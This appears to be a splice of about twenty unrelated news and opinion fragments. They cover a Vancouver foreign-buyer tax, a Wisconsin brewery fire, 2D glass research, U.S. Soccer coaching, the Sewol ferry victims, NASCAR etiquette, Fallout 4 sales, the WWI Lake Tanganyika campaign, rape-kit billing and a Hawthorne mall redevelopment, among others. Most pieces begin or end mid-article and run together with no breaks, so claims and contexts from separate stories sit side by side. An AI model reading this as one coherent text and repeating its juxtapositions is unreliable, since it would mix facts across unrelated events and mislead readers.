Xfinity Mobile has been in testing inside of Comcast, and today the company is beginning to expand the test to all of its employees. While Comcast didn’t give a firm launch date for Xfinity Mobile, the company said a consumer launch would follow internal tests “soon thereafter.”
This week, the B.C. government announced a new 15-per-cent property transfer surtax to be applied to all foreign buyers of residential property in the Greater Vancouver Regional District, effective on transactions closing on or after Aug. 2, 2016. The objective of the tax is to curb foreign speculators from investing in residential real estate in the GVRD and help to cool the rise of prices.
The foreign buyers to which this surtax applies are defined as individuals who are not Canadian citizens or permanent residents. In addition, foreign buyers include foreign corporations. This includes corporations not incorporated in Canada or corporations that are incorporated in Canada but are controlled by a foreign national or foreign corporation.
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The idea of a surtax applying to foreign buyers in an effort to curb prices is not novel. In fact, the B.C. surtax appears to be directly modelled after a Hong Kong tax that was implemented in 2012, in an effort to reduce foreign speculation. A similar tax also exists in Singapore, which applies an 18-per-cent surtax on foreign buyers.
In economics, a tax on transactions (in this case, residential properties, but it can apply to anything) intended to curb speculation is known as a Tobin tax, after Nobel-prize winning American economist James Tobin. By raising the cost of the transaction (in this case, buying a home), so-called speculators will be dissuaded from engaging in the transaction. If speculators are dissuaded by the transactions tax, then prices should stabilized to "normal" levels – in theory.
But Tobin taxes have been well studied, both in application and in theory, and there is little consensus and evidence that they achieve the intended objective. In terms of the application to the housing market, the main finding is that this type of tax does not dissuade uninformed or "bad" speculators. But it does drive out informed speculators, who are key to maintaining market and price stability. The unsurprising result is increases to volatility and decreases to price informativeness, the end result of which is housing price instability.
This finding is even more concerning in the presence of a housing bubble, such as has been argued exists in the GVRD, because the presence of the bubble itself drives out informed speculators, leaving mostly uninformed speculators. In the presence of a bubble, then, the transaction tax drives out the remaining informed speculators, further destabilizing the market and prices, and potentially leading to the bursting of the bubble. The main conclusion of the existing research is that the best way to fight housing speculation is actually to increase supply rather than pursuing anti-speculation taxes.
There are also several troubling aspects related to the implementation of this tax.
First, its application to all foreign buyers means that foreigners relocating to Vancouver for employment purposes will be subject to the tax. Vancouver is home to numerous employers that compete in the international job market, such as the University of British Columbia. Employers are already challenged to attract top talent because of the housing prices, and the transactions tax that will apply to these individuals when they look to buy into the city's housing market will further this challenge. While they can wait until they are accepted as permanent residents, most find this to be a two-year process and the delay in being able to set up long-term roots will be unacceptable to many.
Second, it is already clear that the tax can be avoided through various personal options, corporate structures and government programs, notably those that guarantee permanent residency status. The target of this tax is high-income, high-net-worth individuals – these are people who can easily afford the advice of professionals to game the system.
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Third, it ignores the fact that many "foreign" buyers, or at least their spouses or children, have already achieved permanent residency or citizenship status. The tax will not apply to them and this status will simply lead to abuse of this status for the pure purpose of tax avoidance by others who are not so lucky. Permanent residency or citizenship will become a commodity for the purpose of tax avoidance.
The tax might make for good politics and media ahead of next spring's scheduled B.C. election, but it does not make for sound, evidence-informed policy.
Photo courtesy the Monroe Times Minhas Craft Brewery fire
MONROE, Wis. - A fire at the Minhas Craft Brewery in Monroe should not impact operations or beer production, officials said.
The Monroe Fire Department responded to Minhas Craft Brewery at 1208 14th Ave. just before 2:30 Thursday afternoon, according to a release.
Officials were hearing reports of fire and flames coming from the third floor of the building, according to the release.
Everyone in the building was safely evacuated, according to the release.
A contractor was doing some work on an office space when insulation started on fire, officials said. The fire is currently under control.
One firefighter was taken by ambulance from the scene but the extent of their injuries is unknown.
Officials ask everyone to stay out of the area, as it is in a very congested location with a number of streets closed off due to the fire.
That grappling makes it clear that "liberal media bias" doesn't explain the problem. It may shade media coverage of individual issues -- religion, gun control, health care -- but it's possible to challenge a sitting president from any number of ideological perspectives. If liberal journalists are failing to be adversarial enough, pointing out that they're liberals isn't a sufficient explanation.
But let's back up.
Is it even clear that the "mainstream media" does a poorer job of being adversarial than the conservative press?
Consider Lewis's claim that "the establishment press" cared more about Seamus the dog's rooftop journey than "the fact that an Obama-authorized drone strike killed a 16-year-old American."
There's something important missing from that analysis. Tom Junod wrote the definitive piece about that 16 year old, Abdulrahman al-Awlaki, in Esquire. I wrote about him here at The Atlantic on numerous occasions. The New Yorker covered the killing here. The New York Times and The Washington Post both published coverage of his death. Those stories and many others from publications in the "establishment press" treated Awlaki's death far more critically than anything that I saw in any conservative outlet. And some of the most critical pieces written about Obama killing a teenaged American citizen were published by avowedly progressive writers like Glenn Greenwald in the liberal online magazine Salon and staffers at publications like Mother Jones and The Nation, often citing left-leaning civil-libertarian organizations like the ACLU or center-left international affairs academics.
On various subjects that ought to trigger automatic scrutiny from any adversarial press outlet, like apparent violations of federal law, actions that directly contradict a campaign promise, aggressive retaliation against whistleblowers, and unprecedented assertions of secrecy, establishment outlets like The New York Times, The New Yorker, and The Washington Post, along with avowedly liberal publications like Salon, Mother Jones, and The Guardian, did far more to uncover facts, raise awareness, and publish criticism of Obama than the conservative media.
Their chance finding — now immortalized in the 2014 edition of the Guinness Book of World Records, out this week — gives scientists a glimpse into the puzzling properties of glass, which behaves like both a solid and a liquid.
Researchers at Cornell University and Germany's University of Ulm were creating graphene, one of the thinnest and strongest materials in the world. Sheets of graphene are just one carbon atom thick, with those atoms arranged in a honeycomb lattice. [Gallery of Wonders: The Weirdest World Records]
Using an electron microscope, the researchers inspected some "muck" on the graphene, finding that it was essentially a 2D sheet of common glass, made up of silicon and oxygen atoms.
The glass layer likely was created when an air leak caused copper foils, which are involved in the graphene-making process, to react with a furnace made of quartz, a mineral that is comprised of silicon and oxygen, the researchers say.
The researchers' observations were first described in January 2012 in the journal Nano Letters. They say their microscopic photos of the ultra-thin pane may help to solve some long-standing uncertainties about glass, which is not exactly a liquid or a solid.
Most solids when they cool arrange their atoms in a rigid lattice. Though glass is hard and has a solid appearance, atoms that make up glass are arranged in a disordered network, more like a liquid.
The structure of the 2D glass that the Cornell researchers saw is similar to theoretical models of the irregular structure of glass dating back to the 1930s.
"This is the work that, when I look back at my career, I will be most proud of," David Muller, professor of applied and engineering physics at Cornell, said in a statement. "It's the first time that anyone has been able to see the arrangement of atoms in a glass."
Though it was an accidental discovery, the researchers say such deliberately created 2D glass could find its way into nanotechnology and could even one day be used in transistors.
Image: Flickr, Quinn Dombrowski
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A special U.S. Soccer board of directors meeting to discuss the history of hiring of U.S. national team coaches won’t be held until next month.
U.S. Soccer CEO/secretary general Dan Flynn told board members that it would be better to talk about that at the regularly scheduled meeting in December around MLS Cup, according to a pair of sources in the U.S. soccer community.
No exact date has been established yet. According to U.S. Soccer, the next meeting is scheduled for Dec. 3, while MLS Cup is set for Saturday, Dec. 9.
Flynn called the board members during the week, asking for a delay because that there was quite a bit of information to compile prior to the special meeting and that there many matters on the organization’s agenda to attend to at U.S. Soccer House in Chicago.
Since this was not an urgent matter and that several board members might have problems getting to Chicago on such short notice, Flynn asked the board to put that topic off until the next scheduled meeting, according to the sources.
The board “wanted to make sure it did this right and everybody’s present,” a source said.
Flynn said that he would send a letter to board members saying that the federation would take no action on the next men’s national team coach until the board has that December meeting, a source said.
Last week eight board members wrote letters to Flynn asking for the special meeting, which is a rare occurrence. A minimum of five board members need to schedule a special meeting.
The special meeting needs to have a topic of discussion, as per U.S. Soccer regulations.
That topic is to accrue information on the history of hiring U.S. national team coaches and clarity of the process. That includes how head coaches have been vetted and how contracts were made, a discussion on how the board can participate more in the selection process or whether it should put policies or guidelines together, the source said.
Expected to be discussed would be the hiring and firing of former U.S. head coach Jurgen Klinsmann, whose dismissal cost the federation millions of dollars in a payout, one source said.
With a presidential election scheduled for U.S. Soccer’s Annual General Meeting in Orlando Feb. 8-11, the board wants to ensure there are guidelines in place on whoever is president to select the new coach.
Incumbent president Sunil Gulati has not announced whether he will run for a fourth term. Several challengers have declared their intentions to pursue the position.
The national team has been without a permanent head coach after Bruce Arena resigned in wake of the team’s failure to qualify for its eighth consecutive World Cup in Russia 2018. Arena was hired in 2016 after Klinsmann was sacked when the U.S. lost its first two matches of the CONCACAF Hexagonal.
F.E.A.R.'s silent protagonist Point Man will return as the star, though his brother Paxton Fettel will also be playable in the shooter's "divergent co-op" mode, where each have "distinctly different abilities affecting their own play as well as the experience of their co-op partner."
The Thing and Escape from New York director John Carpenter has been brought onboard to provide "his expertise in crafting the in-game cinematics" while 30 Days of Night writer Steve Niles has co-written the script with Day 1.
"After working closely with Monolith, Day 1 is honored to bring the next iteration of the F.E.A.R. franchise to gamers with key elements of the past games yet providing fresh combat and horror experiences in F.E.A.R. 3," said Day 1 founder Denny Thorley in the announcement. "Players can look forward to new features such as divergent co-op, an evolved cover system, and more scares in F.E.A.R. 3."
On occasion, families discovered the bodies had been misidentified only after they saw the ferry victims at a funeral home.
The South Korean government's emergency task force announced a new plan to ensure that no additional bodies were misidentified, according to The Guardian. The government will permanently transfer bodies to families only after a victim has been identified through DNA testing, dental records or fingerprinting. Government officials will still deliver bodies based on physical descriptions and any identification found on a person, but those transfers are subject to retraction pending scientific verification.
The tragedy rocked South Korea on April 16, nine days before U.S. President Barack Obama arrived there. His trip was originally intended to discuss North Korean military belligerence and territorial disputes in the region with South Korean officials including President Park Geun-hye.
Obama offered condolences to South Korea shortly after he landed on Friday.
"In our press conference later, President Park and I will have the opportunity to address a range of issues that we’ll be discussing here today," Obama said alongside Park at the Blue House, the executive residence of the South Korean president. "But for now, I just wanted to express on behalf of the American people our deepest sympathies for the incredible and tragic loss that's taken place."
Despite Obama's intentions, the ferry accident has the potential to overshadow policy discussions as heart-wrenching news from the recovery attempts continues to trickle in. The bodies of two victims were recently found with their life vests tied together. Another four victims were found with broken fingers, likely the result of frenzied attempts to escape the encroaching water. And, of course, about 80% of the 302 people either dead or presumed so were students at a high school to the south of Seoul, the capital of South Korea. (The vice principal of that school was found hanged.)
"Just as the American people were able to rally together in the wake of the Sept. 11 terrorist attacks and were able to prevail over difficult times, so, too, I am sure that Korean people will, in fact, pull through this moment of crisis and be able to achieve the renewal of the Republic of Korea," Park said at the joint press conference with Obama.
The authors, Wesley Morris and Jenna Wortham, both black journalists who live in Brooklyn, write that barbecue is “trending and gentrifying as quickly as our neighborhoods,” and they’re “not exactly sure how to feel about it.”
In order to “talk through our feelings,” Morris and Wortham went to a popular barbecue joint owned by a Chinese-American chef from Queens.
While they said that the food reminded them “of just how universal and beautiful our country’s culture of food can be,” their podcast made barbecue into a racial issue and suggests that people should feel guilty for cooking the dish if they’re not black.
The mother of an eight-year-old boy claims he got a rude shock on Monday when he bit into a mini chicken sausage bun and found it swarming with maggots.
According to a Facebook post by the mother, Madam Ivy Yeo, the bun had been purchased from an outlet of the Four Leaves bakery chain in Hougang Mall.
Madam Yeo said in her post that her son visited a general practitioner after the incident and was referred to a hospital. She added that he was resting at home.
She posted pictures and videos of the maggot-infested bun, which have gone viral, with more than 10,600 shares and 503,000 views as of 10pm last night.
In her post, Madam Yeo told the bakery: "I am never going to forgive you!"When contacted by The New Paper, she declined to comment further.
When TNP visited the Four Leaves outlet in Hougang Mall yesterday, there were no products containing chicken sausage for sale.
Four Leaves director Koji Tanabe told TNP that after receiving the complaint, the chain had stopped selling all products containing sausages in all their outlets.
He said they were working with their suppliers and the National Environment Agency (NEA) to conduct a thorough investigation.
"Any unsold buns will be thrown away or donated on the same baking day," Mr Tanabe said.
"We have been using the same brand of sausage for many years and this is the first time we have encountered this problem. We sincerely apologise for this incident."
Just like when you had the sex talk with your kids, talking about alcohol, parties and staying safe can seem a daunting task. But you have influence - and you can ensure your kids have the right information to make better choices.
Delay, delay, delay
Teenagers’ brains are still developing, which means they are more susceptible to alcohol-related harm. Even small amounts can harm a young person so it’s best to delay introducing your teen to alcohol for as long as possible.
Give them the facts
That means knowing the facts for yourself - so it’s time to school up! Find out how the body processes alcohol, the short and long-term effects of drinking, your legal obligations and how drinking affects your teen. Arm them with knowledge to back up the rules you set and keep the lines of communication open. Your teen may not always make the right choices, so it’s crucial they know they can talk to you and you’ll be there if something goes wrong. There are some great online resources on alcohol.org.nz or go to drinking & health to find out more.
Set and enforce the ground rules
Consistency is key with every aspect of parenting and rules around drinking is no different. Every family will make different choices around how they introduce alcohol and that’s up to you! Just make sure your teen understands what the rules are.
Be a good role model
Russia, which is currently holding military maneuvers around the disputed Kurile islands, denied any such intrusion took place.
Former Japanese Prime Minister Yoshiro Mori is expected to visit Moscow later this month to discuss territorial matters.
Thursday was Japan’s “Northern Territories Day”, when rallies are traditionally held calling for the return of the disputed islands it calls the Northern Territories.
Japanese Prime Minister Shinzo Abe had told a rally he was determined to press ahead with negotiations with Russia for the return of the islands.
“I had telephone talks with President (Vladimir) Putin in December, and told him I would like to work to find a mutually acceptable solution to this last-remaining major problem between Japan and Russia,” Abe said.
“The government intends to follow its basic policy of settling the territorial issue and then sign a peace treaty. We will press ahead with negotiations with strong will so that progress will be made towards the conclusive resolution of the territorial problem.”
Russian Prime Minister Dmitry Medvedev landed on the remote island chain in July, prompting protests from Tokyo.
Related Coverage Russia denies fighter jets breached Japan's air space
Unlike Japan’s dispute with China over islands in the East China Sea, which are near potentially vast maritime oil and gas reserves, the feud with Russia has more to do with the legacy of World War Two.
Jerusalem (AFP) - An Israeli cabinet minister has said relations with US President Donald Trump take priority over condemning neo-Nazis, to justify Prime Minister Benjamin Netanyahu's muted response to events in Charlottesville.
Critics have accused Netanyahu of being slow to condemn extremism and anti-Semitism at US far-right protests, having only done so in a single tweet - three days after the rally in the Virginia town that ended in bloodshed.
Ayoub Kara, the communications minister and a vocal Netanyahu supporter, said in remarks published Friday in the Jerusalem Post that backing Trump was a strategic must for Israel's right-wing government.
"Due to the terrific relations with the US, we need to put the declarations about the Nazis in the proper proportion," Kara told the English-language newspaper.
"We need to condemn anti-Semitism and any trace of Nazism, and I will do what I can as a minister to stop its spread. But Trump is the best US leader Israel has ever had."
"His relations with the prime minister of Israel are wonderful, and after enduring the terrible years of (Barack) Obama, Trump is the unquestioned leader of the free world, and we must not accept anyone harming him."
Netanyahu regularly speaks out against anti-Semitism in other countries, but the United States is Israel's most important ally, providing it with more than $3 billion per year in defence aid as well as key diplomatic backing.
Detractors have accused him of sacrificing his moral responsibility, especially to the US Jewish community, for strategic interests.
The protests last weekend saw neo-Nazis and white supremacists protesting outside a synagogue, chanting anti-Semitic slogans and giving the Nazi salute.
On Tuesday, Netanyahu released his only response so far to the rally.
"Outraged by expressions of anti-Semitism, neo-Nazism and racism. Everyone should oppose this hatred," the Jewish state's premier posted in English.
Trump has since reiterated earlier controversial claims that there was fault on "both sides," but Netanyahu has not commented further.
Are you nerved that such a big company like Valve doesn't bring out an Update for our Android devices for over 3 years now?
Don't you know where you can get a up-to-date version for your Android Device?
Features:
How to install:
Bugs
- Sometimes Installation doesn't work, read more at "How to install"!
- Hamburger icons don't work
- Steam Guard doesnt work correct on some phones
Videos:
Other Informations:
It’s reasonable to go out on a limb and assume that most of our readers have at least 50 apps installed on their mobile devices. Because of this, we often turn to sidebar launcher apps such as the recently updated SideControl to make all of these apps easier to launch. But sometimes, instead of making apps easier to get to, what we really want to do is escape for a bit. After all, having a cluttered home screen full of dozens of folders and apps can get quite tiresome.
Thankfully, there are great options out there for those looking to simplify. For example, there are quite a few minimalist templates available in the popular Themer app. But what if you want something even simpler? XDA Senior Member alobo offers a fantastic option called Crescendo.
Although Crescendo is technically aimed at making mobile devices easier to use for seniors and kids, it’s a stylish alternative for those looking for a more minimal Android experience. The app includes a streamlined and task-based home screen. But instead of being filled with a sea of apps, your home screen gives you information about the weather and allows you to perform certain common tasks such as making calls, taking pictures, browsing the Internet, writing Emails, and looking at photos. Crescendo also provides an app drawer to allow you to still reach your favorite apps, but they no longer create clutter from your start screen.
In addition to its home screen functionality, Crescendo is also loaded with several simplified apps such as an easy-to-use web browser and flashlight. It also integrates various commonly accessed settings into a simplified menu.
During Thursday’s Championship 4 media day in Hollywood, Florida, three-time Sprint Cup Series champion Tony Stewart was asked if he now had a clear understanding of what’s acceptable and unacceptable on-track behavior, from NASCAR’s view.
While the sanctioning body threw the book at Kenseth for retaliating against Logano — then a Chase driver — while running several laps down, NASCAR chairman and CEO Brian France dubbed the contact between Kenseth and Logano while battling for the lead three weeks earlier as "quintessential NASCAR."
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"We’re all as confused as you guys are," Stewart told a group of reporters on Thursday. "What was it, two years ago, (actually it was 2010) where we were all told (by NASCAR) to, ‘Have at it?’ Nobody here said, ‘Have at it,’ but it’s kind of a touch of confusion for us as drivers to sit there and figure out what it all means and where it’s at. I mean, for everything else we do in the series, there’s a defined rule in a rulebook that tells you what that is, and that’s one thing that’s never been present in this sport is a defined line on what the etiquette is.
"Before, it used to be the drivers took care of themselves and it was all on us to decide what it was, but it was a touch of sensitivity each week of trying to figure out what that needs to be and where it needs to be and how to control it and manage it."
This wasn’t the game eight years ago, five years ago. It was totally different. - Tony Stewart
With four drivers vying to leave Sunday’s winner-take-all season finale at Homestead-Miami Speedway as the 2015 Sprint Cup champion, it’s possible that one or more of the contenders could rough up each other up if it means the difference between winning a championship and losing it.
Would a situation similar to the one at Kansas, where Logano spun Kenseth while the two raced for the lead, be just as acceptable among title contenders Kevin Harvick, Jeff Gordon, Kyle Busch and Martin Truex Jr. in Sunday evening’s high-stakes affair?
"I think you’ve got to ask those four guys because they’re the ones that really have to answer that question for you," Stewart said. "I think you’ve got to look at the scenario that they’re put in, and that’s got to be part of your answer. Don’t blame the players, blame the game. Whatever they do and whatever they feel like is the code of conduct, I think that’s between those four guys, and they have to be the ones that have to mutually agree upon it."
While Stewart stopped short of condoning Kenseth’s highly flagrant actions carried out against Logano at Martinsville on Nov. 1, Stewart isn’t willing to fault the 2003 Sprint Cup Series champion for seeking some form of payback since Logano’s move at Kansas ultimately cost him a shot to advance in the Chase and keep his title hopes alive.
Kenseth’s retaliation against Logano, likewise, ultimately prevented Logano from advancing to another round.
"I think when you look at what happened, if it was a 36-week season, the drama behind it wouldn’t have been near as crucial, but don’t hate the players; hate the game," Stewart said. "Hate the scenario that they’re put in to where somebody takes you out and can ruin your opportunity. I mean, it ruined two guys’ opportunity to make it to (the Championship 4)."
Stewart isn’t convinced the Kenseth-Logano saga would have escalated to the level it did if it had occurred before the elimination-style Chase format was introduced in 2014.
"The game didn’t used to be this," said Stewart, who won all three of his Sprint Cup Series championships before the days of Chase elimination rounds. "This wasn’t the game eight years ago, five years ago. It was totally different. And now the game has changed, and now we’re seeing the results of when you back drivers in a corner, this is what happens."
While one driver spinning another driver out to win has happened countless times throughout the 65-plus year history of NASCAR, doing so in a Chase-elimination or winner-take-all scenario makes late-race aggression much more likely play a large role in who wins the title.
Fallout 4’s launch also shows that while mobile gaming gets many headlines with its $30 billion worldwide industry and nearly $6 billion acquisitions, the console industry remains strong at $25.1 billion in the U.S. alone and at the forefront of innovation. It’s the master of delivering huge interactive experiences that millions of people want , are willing to spend $60 or more for at a time, and can’t get on their smartphones. Virtual reality is becoming a key to Sony’s future strategy with the top-selling PlayStation 4 home system, and both Microsoft’s and Sony’s efforts in delivering games through the cloud and could help every streaming media company figure out how to make their experiences bigger and better by cutting down lag.
And while Bethesda is happy to trumpet the launch, the game publisher did not supply any sell-through numbers yet, or the numbers that retailers say they’ve actually sold to consumers. Still, the sell-in number is impressive, and it shows there was a lot of pent-up demand for a new Fallout game, which took Bethesda four years to make. We’ve asked Bethesda for sell-through numbers, and the company said it’s saying anything other than what in it’s release we received earlier today. But the game makes a good case for the strategy of taking a game and cooking it for a long time, in contrast to launching a Call of Duty or Assassin’s Creed game every single year.
“We’re extremely proud of Todd Howard, Game Director at Bethesda Game Studios, and his experienced team of developers for their talent and dedication in creating this extraordinary game,” said Bethesda Softworks president Vlatko Andonov, in a statement. “Fallout 4 is a masterpiece in game development and storytelling, providing fans hundreds of hours of fun as they explore and are challenged by this fascinating, beautifully crafted world.”
Bethesda also said that the Pip-Boy Edition of the game, which bundled the game with a replica of the absurdly large wrist-mounted computer characters wear, has sold out. That version was gone within hours of availability. Bethesda said that multiple retailers told it that Fallout 4 had the highest launch day numbers of any game this year.
By way of comparison, Call of Duty: Black Ops III sold $550 million through to consumers in its first three days on the market. And Halo 5: Guardians sold through more than $400 million in its first week. Call of Duty has sold more than $10 billion worth over the past decade, while the Halo series has sold more than $5 billion in its lifetime.
Bethesda said that digital sales of Fallout 4 are “breaking records.” On Steam, Fallout 4 became the No. 1 game played, surpassing the previous record for concurrent play with over 470,000 Fallout players. The companion app, Fallout Pip-Boy, became the number one game on the iTunes App Store. Fallout 4 also set the record as the most viewed game launch of all 2015 games, according to Twitch.
The PC version has an average rating of 86 out of 100, a very high average score based on aggregated reviews on Metacritic. Here’s our review by GamesBeat’s Jeff Grubb and his tips for playing it.
“A huge thanks to our fans that’ve made this all possible,” said Todd Howard, Game Director on Fallout 4, in a statement. “After four years of development, it’s not complete until our fans get to play it and make it their own. We can’t wait to hear about their adventures.”
Lake Tanganyika sits between Tanzania (then German East Africa) and the Democratic Republic of Congo (then Belgian Congo). The Allies wanted to capture German East Africa, but they needed to control the lake to do so. The Germans, however, dominated the lake due to their ship the SMS Graf von Goetzen.
British troops were able to push into German territory from the sea and coast, but the great lake severely hampered their inland movements. German control of the lake meant they were able to move troops along it and redeploy behind British lines, thwarting any invasion.
First Sea Lord Henry Jackson was in charge of bringing the war to Germany’s colonies, but he needed ships. Germany also had two converted steamers the Hedwig von Wissmann and the Kingani on the lake. Both were small and lightly armed, but they harassed Allied positions on the shore. Jackson needed a way to bring a boat to the lake, launch it, and then fight and win against the Germans.
A big game hunter and Boer War veteran John Lee advised Jackson that he knew of a way to get boats to Lake Tanganyika. The SMS Graf von Goetzen had been built in Germany, disassembled, packed into over 5,000 crates, and shipped to Dar es Salaam in Africa. From there, it was transported overland to a shipyard on the lake, where it was reassembled. She was then armed with two 37mm Hotchkiss Revolver Guns from a scuttled commerce raider the Moewe, making her even more dangerous.
Lee believed that small motor gunboats, brought to the river through inland routes would be able to defeat the larger ship, especially if given guns with a 7,000-yard range, enabling them to outmaneuver and outgun any of the German craft on the lake. They just needed a man to lead the expedition.
They found one; Lieutenant Commander Geoffrey Spicer-Simson. He was known as a braggart, a liar, a hot head, and was the oldest Lieutenant Commander in the British Navy at the time. More importantly, he knew the region, spoke French and German and was both available and willing to lead the expedition. His previous ship had been torpedoed and sunk while he was entertaining guests on shore.
Simson selected two 40 foot armed motor launches named HMS Mimi and HMS Toutou and 27 men. They set out from England on board a transport ship for the voyage to Africa.
Meanwhile, Lee set out north through the bush, clearing a path for Simson and his boats. Simson landed at Capetown and loaded the two boats onto a train bound for Fungurume. From there, they used oxen, steam tractors, and brute force, to pull the motor boats overland nearly 150 miles, rolling them on logs. The operation was certainly one of the most eccentric and strangest attempted during the war, but there was no better way available. They made it to another railway, at Sankisia, then to Bukama, a short river journey to Kabolo, and a final rail journey to Lukuga, where the boats were launched into Lake Tanganyika.
On December 1, 1915, the Kingani was spotted by the British vessels. They killed the commander and knocked out Kingani’s only gun; all achieved in only 11 minutes. Simson had his first victory, a German ship captured, no loss of life, and without alerting German forces. The Kingani was refitted and named the Fifi.
Gustav Zimmer, commander of the German vessels in the lake, did not investigate the Kingani’s disappearance until mid-January. He sent the Hedwig to scout for the missing boat, but it was spotted by the Allied ships, which by then had three motor launches and a wooden whaleboat. They set out to intercept the lone German boat.
As the Hedwig approached, they opened fire. After missing several times, they scored a hit, and the Hedwig began to flood. Another direct hit blew up her boiler, and she sank. The British vessels returned to their port with German prisoners, and the 1st German Naval Ensign captured by the Royal Navy during WWI.
Due to their successes on the lake, the Allies had advanced by land and established an airbase on the Western shore. In June 1916 they launched and air raid on German positions.
Unknown to British forces, the Goetzen’s guns had been removed to support Paul von Lettow Vorbeck’s guerilla campaign in the region. She had become a deterrent, rather than a combatant. On July 26, 1916, the Goetzen was scuttled in 20 meters of water, effectively ending the Battle of Lake Tanganyika.
It sounds almost too unbelievable to be true, doesn't it? We don't ask home-invasion victims to cover the cost of dusting for fingerprints or the families of homicide victims to subsidize blood spatter analysis. But rape victims are being billed for the cost of collecting forensic evidence in the crimes against them.
This runs contrary to federal law, which says states or municipalities must fund investigating rape allegations as they would any other crime. When the Violence Against Women Act (VAWA) was reauthorized in 2005, it stipulated that all states must either provide a free forensic medical exam directly or provide reimbursement for such an exam, regardless of whether a victim ultimately decides to press charges or cooperate with law enforcement. The 2013 reauthorization (which takes effect in 2015) specifies that victims can't be charged up front for the exam (also known as a "rape kit") and asked to seek reimbursement from insurance later.
But they say the devil is in the details, and the VAWA doesn't provide many, leaving it up to states and municipalities to work out who covers what. Thirty-four states pay for forensic exams using money from their general victim compensation funds, according to a May report from Urban Institute. (These funds are generally built from fines and penalties paid by convicted offenders, not tax dollars.) Eleven states leave it to local law enforcement or prosecution funds; some use a combination of special funds and money from state public safety or health and human services departments; and three, including Louisiana, leave it to the county or parish to cover the cost.
In Louisiana, local coroners are supposed to provide the free forensic exams. "But in many cases, such as in New Orleans, cash-strapped coroners outsource that responsibility to another entity" such as local hospitals, The Times-Picayune reported in September. And these hospitals vary greatly in how and whom they bill. Some eat the whole cost themselves, or did until recently. Some cover testing for forensic evidence but bill victims for things like pregnancy and HIV tests. Some send patients the full tab, some bill insurance companies, and some bill the state. Some require anyone seeing a Sexual Assault Nurse Examiner—the only hospital staff qualified to collect forensic evidence from rape victims—to be admitted through the emergency room, which adds hundreds of dollars to the total tab.
"Whether a patient gets charged-and how much-varies according to what hospital they go to, who the admitting staff on duty are, and whether the billing employees know the processes for charging rape victims," Times-Picayune reporter Rebecca Catalenello found in talking to both rape victims and hospital staff.
The cost of collecting forensic evidence can vary, but it tends to run upwards of $1,000, so this isn't some minor expense we're talking about. Victims who are mistakenly billed by hospitals for rape kits can apply for reimbursement from the Louisiana Crime Victims Reparations Board—but not if they have any felony convictions in the past five years, have been on parole recently, were doing anything illegal (like using drugs) at the time of the assault, were assaulted while incarcerated, or have acted in any way that the board determines "contributed to the crime."
When I first read about this astonishing situation in Louisiana, I thought perhaps it was some sort of state anomaly. My colleague Lauren Galik, the Reason Foundation's director of criminal justice reform, tells me that Louisiana is aces at infuriatingly unjust criminal justice policy. Surely other states have more reasonable mechanisms for funding forensic tests?
Some do. Too many don't. In places where crime-victim funds are used to pay for rape kits, many continue to impose conditions on victims, at least according to their websites. Maine's crime-victim reparation site says a victim must come forward within five days to be eligible for funds, "unless there is a good cause for delay." In Arkansas, Montana, and North Dakota, it's 72 hours. The majority of sites I looked at said crime victims must cooperate with law enforcement in order to be eligible, despite the VAWA directly forbidding this.
Some states cap compensation for the testing at a few hundred dollars. And in a lot of states, the victims fund websites specifically note that they are a "payer of last resort", and attempts must first be made to recoup costs from a victim's insurance company. The Louisiana Crime Victims Reparations Fund, for instance, states that it is "a secondary source that pays for certain out-of-pocket expenses related to the crime" and attempts will first be made to collect the money from a victim's health insurance, disability insurance, Medicare, Medicaid, or Social Security.
That's the practice for all crime victims, mind you—someone who is severely beat up in the course of a robbery would be asked to seek insurance coverage for their hospital bills. Yet the collection of crime-scene evidence on law enforcement's dime is a given still. The crime victim's fund may or may not cover medical care, but there's no question that the police department will pay for the gathering and testing of things like fingerprints and potential DNA evidence.
Under a preliminary proposal accepted late Wednesday by the city’s Planning Commission, the concrete monolith would be razed to make way for a massive mixed-use complex. Plans won’t be finalized until they are approved by the City Council, and The Charles Co. — the mall owner — has not yet announced any tenants for the development.
But renderings for a new project at the Hawthorne Boulevard site, which stretches across 1 million square feet between 120th Street and El Segundo Boulevard, depict something similar to The Americana at Brand in Glendale and Paseo Colorado in Pasadena.
Walkable courtyards, mixed uses
The new development wouldn’t be a mall, but would include a large “power center,” or outdoor mini-mall, an office complex and walkable outdoor retail strips with upper-level homes. Courtyards and parklets are scattered throughout the plans and even included on the rooftop.
“The revitalization of the former mall must center on a development that is viable and reasonable in the context of the economy of both Hawthorne, the region and investors,” interim City Manager Arnie Shadbehr said. “It should meet the shopping and dining needs of the community but also be self-sustaining on its own to ensure long-term success and economic rewards for the developer, the tenants and the city itself.
“Ultimately, this development should erase the blight that has sat at the former mall site and help reinvigorate the heart of Hawthorne to instill pride in the community and help inspire economic growth.”
The plans call for retail shops on the first floor fronting Hawthorne Boulevard, topped with parking garages that would act as a buffer for upper-level residences. More than 800,000 square feet of offices would take up most of the eastern portion, and most of the project’s 600 homes would sit on the western part. Altogether, about 500,000 square feet of retail space is included, along with nearly 5,900 parking spaces.
Third time a charm?
This is the third plan for the site that has emerged since 2007. An outlet mall was most recently proposed, but is instead now set to be built on a large vacant lot along the 405 Freeway in Carson that was recently considered as the next home for a Los Angeles-area NFL stadium.
In 2008, the Hawthorne Council rejected a proposed “lifestyle center” that would have remade the existing mall into a complex of stores and offices, with more than 400 homes on the eastern side near the residential neighborhood behind the mall. At the time, council members balked at the dense collection of new homes at that corner, and it was rejected on a 2-1 vote.
“This plan turns many of the retail (stores) and restaurants outward facing Hawthorne Boulevard,” said Gregg McClain, the city’s director of planning. “This will help to activate the sidewalks and bring back life to the downtown. The old plan was still very automobile oriented.
“The new plan starts with removing everything on the site, except maybe one parking structure. It is a superior design on many levels, not least because it is not constrained by the existing structures. This is more of a quality condominium style (of housing) and closer to the street. We are trying to activate the street, and having the units facing the boulevard goes a long way to achieving that.”
The Planning Commission on Wednesday approved the draft environmental impact report for the Downtown Hawthorne Specific Plan, a document that will guide redevelopment of the aging old downtown Hawthorne Boulevard strip. That proposal would develop four hubs around the mall, the Civic Center, South Bay Ford dealership and St. Joseph Catholic Church and School.
Hotels would be prioritized in the north end of town, nearest Los Angeles International Airport, and the boulevard would be upgraded.
John Oshimo of GRC Associates Inc., a consulting firm that helped create the vision for the boulevard, said the overhaul should include walkable plazas, public art, extended bike lanes, revitalization of poorly maintained buildings, and educational uses like libraries.
The team also got back D.J. Hayden recently, who played in his first game as a Raider in their week three contest against the visiting Chicago Bears. Hayden was expected to battle for a starting cornerback job until he had to get surgery to remove scar tissue from his abdomen and was not cleared for contact through most of training camp.
